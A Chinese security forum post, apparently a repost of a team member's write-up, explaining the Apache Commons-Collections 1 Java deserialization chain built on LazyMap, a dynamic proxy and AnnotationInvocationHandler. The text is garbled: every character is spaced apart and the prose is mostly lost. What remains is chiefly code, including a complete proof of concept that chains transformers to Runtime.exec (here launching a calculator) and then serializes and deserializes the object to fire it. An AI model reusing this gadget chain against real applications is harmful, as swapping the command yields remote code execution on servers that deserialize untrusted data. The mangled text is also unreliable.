[2188] 2020-10-28_【内部投稿】利用LazyMap构造利用链

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-16
2020-10-28_【内部投稿】利用LazyMap构造利用链 稿 L a z y M a p   r e a d e r - l   E D I   2 0 2 0 - 1 0 - 2 8   ·     0 1 j a v a - L a z y M a p p j a v a C o m m o n C o l l e c t i o n s 1 T r a n s f o r m e d M a p y s o C o m m o n C o l l e c t i o n s 1 L a z y M a p L a z y M a p 0 2 1 . y s o s e r i a l L a z y M a p L a z y M a p T r a n s f o r m e d M a p C o m m o n - C o l l e c t i o n s A b s t r a c t M a p D e c o r a t o r T r a n s f o r m e d M a p p u t t r a n s f o r m j a v a - C o m m o n C o l l e c t i o n 1 0 x 0 1
L a z y M a p L a z y M a p g e t f a c t o r y . t r a n s f o r m m a p . c o n t a i n s k e y ( k e y )   = =   f a l s e f a c t o r y . t r a n s f o r m j a v a - C o m m o n C o l l e c t i o n 1 s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r r e a d O b j e c t s e t V a l u e t r a n s f o r m r e a d O b j e c t M a p g e t y s o s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r i n v o k e g e t :
y s o j a v a A n n o t a t i o n I n v o c a t i o n H a n d l e r # i n v o k e j a v a j a v a i n v o k e h t t p s : / / b l o g . c s d n . n e t / z c c _ 0 0 1 5 / a r t i c l e / d e t a i l s / 2 2 6 9 5 6 4 7 j a v a 2 . J A V A j a v a . r e f l e c t . P r o x y P r o x y . n e w P r o x y I n s t a n c e   C l a s s L o a d e r I n v o c a t i o n H a n d l e r p d e m o : 0 x 0 2 M a p   p r o x y M a p   =   ( M a p )   P r o x y . n e w P r o x y I n s t a n c e ( M a p . c l a s s . g e t C l a s s L o a d e r ( ) ,   n e w C l a s s [ ]   { M a p . c l a s s } ,   h a n d l e r ) ; p a c k a g e   v u l h u b ; i m p o r t   j a v a . l a n g . r e f l e c t . I n v o c a t i o n H a n d l e r ; i m p o r t   j a v a . l a n g . r e f l e c t . M e t h o d ; i m p o r t   j a v a . u t i l . M a p ; p u b l i c   c l a s s   E x a m p l e I n v o c a t i o n H a n d l e r   i m p l e m e n t s   I n v o c a t i o n H a n d l e r   {         p r o t e c t e d   M a p   m a p ;         p u b l i c     E x a m p l e I n v o c a t i o n H a n d l e r ( M a p   m a p ) {                 t h i s . m a p   =   m a p ;         }         @ O v e r r i d e         p u b l i c   O b j e c t   i n v o k e ( O b j e c t   p r o x y ,   M e t h o d   m e t h o d ,   O b j e c t [ ]   a r g s )   t h r o w s   T h r o w a b l e   {                 i f ( m e t h o d . g e t N a m e ( ) . c o m p a r e T o ( " g e t " )   = =   0 ) {                         S y s t e m . o u t . p r i n t l n ( " H o o k   m e t h o d :   " +   m e t h o d . g e t N a m e ( ) ) ;                         r e t u r n   " h a c k e d   O b j e c t " ;                 }
M a p t e s t x x x h a c k e d   O b j e c t s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r I n v o c a t i o n H a n d l e r P r o x y r e a d O b j e c t   A n n o t a t i o n I n v o c a t i o n H a n d l e r # i n v o k e   L a z y M a p # g e t 3 . L a z y M a p C o m m o n s C o l l e c t i o n 1 d e m o 使 L a z y M a p T r a n s f o r m e d M a p s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r P r o x y p r o x y M a p s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r # r e a d O b j e c t A n n o t a t i o n I n v o c a t i o n H a n d l e r p r o x y M a p                 r e t u r n   m e t h o d . i n v o k e ( t h i s . m a p , a r g s ) ;         } } p a c k a g e   v u l h u b ; i m p o r t   j a v a . l a n g . r e f l e c t . I n v o c a t i o n H a n d l e r ; i m p o r t   j a v a . l a n g . r e f l e c t . P r o x y ; i m p o r t   j a v a . u t i l . H a s h M a p ; i m p o r t   j a v a . u t i l . M a p ; p u b l i c   c l a s s   E x a m p l e T e s t   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 I n v o c a t i o n H a n d l e r   h a n d l e r   =   n e w   E x a m p l e I n v o c a t i o n H a n d l e r ( n e w   H a s h M a p ( ) ) ;                 M a p   p r o x y M a p   =   ( M a p )   P r o x y . n e w P r o x y I n s t a n c e ( M a p . c l a s s . g e t C l a s s L o a d e r ( ) ,   n e w   C l a s s [ ]   { M a p . c l a s s } ,   h a n d l e r ) ;                 p r o x y M a p . p u t ( " t e s t " , " x x x " ) ;                 S t r i n g   r e s u l t   =   ( S t r i n g ) p r o x y M a p . g e t ( " t e s t " ) ;                 S y s t e m . o u t . p r i n t l n ( r e s u l t ) ;         } } 0 x 0 3 M a p   o u t e r M a p   =   L a z y M a p . d e c o r a t e ( i n n e r M a p ,   t r a n s f o r m e r C h a i n ) ; C l a s s   c l a z z   =   C l a s s . f o r N a m e ( " s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r " ) ; C o n s t r u c t o r   c o n s t r u c t   =   c l a z z . g e t D e c l a r e d C o n s t r u c t o r ( C l a s s . c l a s s ,   M a p . c l a s s ) ; c o n s t r u c t . s e t A c c e s s i b l e ( t r u e ) ; I n v o c a t i o n H a n d l e r   h a n d l e r   =   ( I n v o c a t i o n H a n d l e r )   c o n s t r u c t . n e w I n s t a n c e ( R e t e n t i o n . c l a s s ,   o u t e r M a p ) ; M a p   p r o x y M a p   =   ( M a p )   P r o x y . n e w P r o x y I n s t a n c e ( M a p . c l a s s . g e t C l a s s L o a d e r ( ) ,   n e w   C l a s s [ ]   { M a p . c l a s s } ,   h a n d l e r ) ; h a n d l e r   =   ( I n v o c a t i o n H a n d l e r )   c o n s t r u c t . n e w I n s t a n c e ( R e t e n t i o n . c l a s s ,   p r o x y M a p ) ;
4 . d e b u g . . . . . . . . h a n d l e r   =   ( I n v o c a t i o n H a n d l e r )   c o n s t r u c t . n e w I n s t a n c e ( R e t e n t i o n . c l a s s ,   p r o x y M a p ) ; p a c k a g e   v u l h u b ; i m p o r t   g r o o v y . t r a n s f o r m . U n d e f i n e d ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C h a i n e d T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C o n s t a n t T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . I n v o k e r T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . m a p . L a z y M a p ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . m a p . T r a n s f o r m e d M a p ; i m p o r t   j a v a . i o . B y t e A r r a y I n p u t S t r e a m ; i m p o r t   j a v a . i o . B y t e A r r a y O u t p u t S t r e a m ; i m p o r t   j a v a . i o . O b j e c t I n p u t S t r e a m ; i m p o r t   j a v a . i o . O b j e c t O u t p u t S t r e a m ; i m p o r t   j a v a . l a n g . a n n o t a t i o n . R e t e n t i o n ; i m p o r t   j a v a . l a n g . r e f l e c t . C o n s t r u c t o r ; i m p o r t   j a v a . l a n g . r e f l e c t . I n v o c a t i o n H a n d l e r ; i m p o r t   j a v a . l a n g . r e f l e c t . P r o x y ; i m p o r t   j a v a . u t i l . H a s h M a p ; i m p o r t   j a v a . u t i l . M a p ; p u b l i c   c l a s s   c c T e s t 2   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 T r a n s f o r m e r [ ]   t r a n s f o r m e r s   =   n e w   T r a n s f o r m e r [ ]   {                         n e w   C o n s t a n t T r a n s f o r m e r ( R u n t i m e . c l a s s ) ,                         n e w   I n v o k e r T r a n s f o r m e r ( " g e t M e t h o d " ,   n e w   C l a s s [ ]   {   S t r i n g . c l a s s ,   C l a s s [ ] . c l a s s   } ,   n e w   O b j e c t [ ]   {   " g e t R u n t i m e " ,   n e w   C l a s s [ 0 ]   } ) ,                         n e w   I n v o k e r T r a n s f o r m e r ( " i n v o k e " ,   n e w   C l a s s [ ]   {   O b j e c t . c l a s s ,   O b j e c t [ ] . c l a s s   } ,   n e w   O b j e c t [ ]   {   n u l l ,   n e w   O b j e c t [ 0 ]   } ) ,                         n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " ,   n e w   C l a s s [ ]   {   S t r i n g . c l a s s   } ,   n e w   S t r i n g [ ]   { " d e e p i n - c a l c u l a t o r "   } ) ,                 } ;                 T r a n s f o r m e r   t r a n s f o r m e r C h a i n   =   n e w   C h a i n e d T r a n s f o r m e r ( t r a n s f o r m e r s ) ;                 M a p   i n n e r M a p   =   n e w   H a s h M a p ( ) ;                 M a p   o u t e r M a p   =   L a z y M a p . d e c o r a t e ( i n n e r M a p ,   t r a n s f o r m e r C h a i n ) ;                 C l a s s   c l a z z   =   C l a s s . f o r N a m e ( " s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r " ) ;                 C o n s t r u c t o r   c o n s t r u c t   =   c l a z z . g e t D e c l a r e d C o n s t r u c t o r ( C l a s s . c l a s s ,   M a p . c l a s s ) ;                 c o n s t r u c t . s e t A c c e s s i b l e ( t r u e ) ;                 I n v o c a t i o n H a n d l e r   h a n d l e r   =   ( I n v o c a t i o n H a n d l e r )   c o n s t r u c t . n e w I n s t a n c e ( R e t e n t i o n . c l a s s ,   o u t e r M a p ) ;                 M a p   p r o x y M a p   =   ( M a p )   P r o x y . n e w P r o x y I n s t a n c e ( M a p . c l a s s . g e t C l a s s L o a d e r ( ) ,   n e w   C l a s s [ ]   { M a p . c l a s s } ,   h a n d l e r ) ;                 h a n d l e r   =   ( I n v o c a t i o n H a n d l e r )   c o n s t r u c t . n e w I n s t a n c e ( R e t e n t i o n . c l a s s ,   p r o x y M a p ) ;                 B y t e A r r a y O u t p u t S t r e a m   b a r r   =   n e w   B y t e A r r a y O u t p u t S t r e a m ( ) ;                 O b j e c t O u t p u t S t r e a m   o o s   =   n e w   O b j e c t O u t p u t S t r e a m ( b a r r ) ;                 o o s . w r i t e O b j e c t ( h a n d l e r ) ;                 o o s . c l o s e ( ) ;                 S y s t e m . o u t . p r i n t l n ( b a r r ) ;                 O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( n e w   B y t e A r r a y I n p u t S t r e a m ( b a r r . t o B y t e A r r a y ( ) ) ) ;                 O b j e c t   o   =   ( O b j e c t ) o i s . r e a d O b j e c t ( ) ;         } } 0 x 0 4   h a n d l e r   =   ( I n v o c a t i o n H a n d l e r )   c o n s t r u c t . n e w I n s t a n c e ( R e t e n t i o n . c l a s s ,   p r o x y M a p ) ;
p 使 P r o x y m a p m a p P a y l o a d t o S t r i n g y s o s e r i a l P O C T r a n s f o r m e r t r a n s f o r m e r C h a i n P r o x y # i n v o k e E D I

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则